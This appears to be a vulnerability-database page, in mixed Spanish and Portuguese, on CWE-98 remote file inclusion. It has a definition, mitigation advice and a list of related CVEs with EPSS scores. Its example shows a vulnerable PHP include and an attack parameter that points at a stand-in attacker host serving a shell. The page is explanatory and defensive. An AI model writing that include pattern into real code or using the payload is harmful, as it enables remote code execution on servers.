Fallos del tipo CWE-98

1300 resultados

Inclusão Remota de Arquivo

Fraqueza onde a aplicação inclui ou executa um arquivo cujo caminho é controlado (total ou parcialmente) por um atacante, frequentemente via parâmetros GET/POST. Se o servidor não valida a origem, um atacante pode fazer a aplicação carregar código malicioso de um servidor externo, levando a execução arbitrária com privilégios da app.

Ejemplo

Um PHP com `include($_GET['page'].'.php')` onde o atacante passa `page=http://atacante.com/shell` acaba incluindo e executando um script malicioso hospedado remotamente, concedendo acesso total ao servidor.

Cómo mitigar

Valide e normalize qualquer entrada de usuário antes de usar em include/require; use uma whitelist de arquivos permitidos; desabilite `allow_url_include` no PHP; implemente controle de acesso e isolamento de sessão. Nunca confie em entrada externa para construir caminhos de arquivo.

CVE-2014-9186—A file inclusion vulnerability exists in the confd.exe module in Honeywell Experion PKS R40x before R400.6, R41x before R410.6, and R43x befEPSS 3.6%CVE-2024-9193CRITICALWHMpress <= 6.3-revision-0 - Unauthenticated Local File Inclusion to Arbitrary Options UpdateEPSS 3.3%CVE-2021-22968—A bypass of adding remote files in Concrete CMS (previously concrete5) File Manager leads to remote code execution in Concrete CMS (concreteEPSS 3.2%CVE-2024-8252HIGHClean Login <= 1.14.5 - Authenticated (Contributor+) Local File InclusionEPSS 3.0%CVE-2025-48157HIGHWordPress Formality <= 1.5.9 - Local File Inclusion VulnerabilityEPSS 2.7%CVE-2024-3806CRITICALPorto <= 7.1.0 - Unauthenticated Local File Inclusion via porto_ajax_postsEPSS 2.7%CVE-2024-31459HIGHCacti RCE vulnerability by file include in lib/plugin.phpEPSS 2.7%CVE-2022-40089CRITICALA remote file inclusion (RFI) vulnerability in Simple College Website v1.0 allows attackers to execute arbitrary code via a crafted PHP fileEPSS 2.7%CVE-2016-6565—The Imagely NextGen Gallery plugin for Wordpress prior to version 2.1.57 may execute code from an uploaded malicious fileEPSS 2.5%CVE-2015-10133HIGHSubscribe to Comments <= 2.1.2 - Local File IncludionEPSS 2.1%CVE-2023-2551HIGHPHP Remote File Inclusion in unilogies/bumsysEPSS 1.9%CVE-2026-85200HIGHGEO my WP <= 4.5.5.3 - Unauthenticated Local File InclusionEPSS 1.9%CVE-2025-32614HIGHWordPress EventON plugin <= 2.4 - Local File Inclusion vulnerabilityEPSS 1.9%CVE-2026-44177HIGHKirby: Pre-authentication path traversal and PHP file inclusion during user lookupEPSS 1.8%CVE-2024-32523HIGHWordPress Mailster plugin <= 4.0.6 - Unauthenticated Local File Inclusion vulnerabilityEPSS 1.8%CVE-2025-52562CRITICALConvey Panel Directory Traversal in LocaleController leading to Remote Code ExecutionEPSS 1.8%CVE-2024-3849HIGHClick to Chat – HoliThemes <= 3.35 - Authenticated (Contributor+) Local File InclusionEPSS 1.7%CVE-2020-13175—The Management Interface of the Teradici Cloud Access Connector and Cloud Access Connector Legacy for releases prior to April 20, 2020 (v15 EPSS 1.7%CVE-2025-0366HIGHJupiter X Core <= 4.8.7 - Authenticated (Contributor+) SVG Upload to Local File Inclusion (Remote Code Execution)EPSS 1.6%CVE-2024-2411CRITICALMasterStudy LMS <= 3.3.0 - Unauthenticated Local File Inclusion via modalEPSS 1.5%